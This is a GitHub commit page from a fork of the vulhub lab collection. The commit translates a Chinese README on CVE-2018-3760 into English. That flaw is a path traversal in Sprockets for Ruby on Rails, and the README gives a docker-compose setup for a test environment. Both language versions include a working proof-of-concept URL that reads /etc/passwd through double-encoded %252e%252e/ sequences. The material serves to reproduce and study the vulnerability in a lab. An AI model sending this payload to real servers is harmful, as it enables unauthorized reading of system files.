forked from vulhub/vulhub
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
update translate/rails/CVE-2018-3760 (vulhub#70)
* Rename README.md to README.zh-cn.md * Create README.md * Update README.md
- Loading branch information
Showing
2 changed files
with
49 additions
and
11 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,35 +1,38 @@ | ||
# Ruby On Rails 路径穿越漏洞(CVE-2018-3760) | ||
# Ruby On Rails Path Traversal Vulnerability(CVE-2018-3760) | ||
|
||
Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Ruby On Rails是著名Ruby Web开发框架,Sprockets是编译及分发静态资源文件的Ruby库。 | ||
[中文版本(Chinese version)](README.zh-cn.md) | ||
|
||
Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用`%252e%252e/`来跨越到根目录,读取或执行目标服务器上任意文件。 | ||
Ruby On Rails is a well-known Ruby Web development framework, which uses Sprockets as a static file server in development environment. Sprockets is a Ruby library that compiles and distributes static resource files. | ||
|
||
参考链接: | ||
There is a path traversal vulnerability caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use `%252e%252e/` to access the root directory and read or execute any file on the target server. | ||
|
||
Reference links: | ||
|
||
- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf | ||
- https://seclists.org/oss-sec/2018/q2/210 | ||
- https://xz.aliyun.com/t/2542 | ||
|
||
## 环境搭建 | ||
## Environment setup | ||
|
||
启动一个用Ruby On Rails脚手架生成的默认站点: | ||
Enter the following command: | ||
|
||
``` | ||
docker-compose up -d | ||
``` | ||
|
||
访问`http://your-ip:3000`即可查看到欢迎页面。 | ||
Visit `http://your-ip:3000` and you'll see the welcome page. | ||
|
||
## 漏洞复现 | ||
## POC | ||
|
||
直接访问`http://your-ip:3000/assets/file:%2f%2f/etc/passwd`,将会报错,因为文件`/etc/passwd`不在允许的目录中: | ||
It will give an error by visiting `http://your-ip:3000/assets/file:%2f%2f/etc/passwd` directly, as the file `/etc/passwd` is not in the allowed directory. | ||
|
||
 | ||
|
||
我们通过报错页面,可以获得允许的目录列表。随便选择其中一个目录,如`/usr/src/blog/app/assets/images`,然后使用`%252e%252e/`向上一层跳转,最后读取`/etc/passwd`: | ||
We can get a list of allowed directories by the error page. Just select one of them, such as `/usr/src/blog/app/assets/images`, then use `%252e%252e/` to jump to the parent directory, and finally read the file `/etc/passwd`: | ||
|
||
``` | ||
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd | ||
``` | ||
|
||
 | ||
 | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,35 @@ | ||
# Ruby On Rails 路径穿越漏洞(CVE-2018-3760) | ||
|
||
Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Ruby On Rails是著名Ruby Web开发框架,Sprockets是编译及分发静态资源文件的Ruby库。 | ||
|
||
Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用`%252e%252e/`来跨越到根目录,读取或执行目标服务器上任意文件。 | ||
|
||
参考链接: | ||
|
||
- https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf | ||
- https://seclists.org/oss-sec/2018/q2/210 | ||
- https://xz.aliyun.com/t/2542 | ||
|
||
## 环境搭建 | ||
|
||
启动一个用Ruby On Rails脚手架生成的默认站点: | ||
|
||
``` | ||
docker-compose up -d | ||
``` | ||
|
||
访问`http://your-ip:3000`即可查看到欢迎页面。 | ||
|
||
## 漏洞复现 | ||
|
||
直接访问`http://your-ip:3000/assets/file:%2f%2f/etc/passwd`,将会报错,因为文件`/etc/passwd`不在允许的目录中: | ||
|
||
 | ||
|
||
我们通过报错页面,可以获得允许的目录列表。随便选择其中一个目录,如`/usr/src/blog/app/assets/images`,然后使用`%252e%252e/`向上一层跳转,最后读取`/etc/passwd`: | ||
|
||
``` | ||
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd | ||
``` | ||
|
||
 |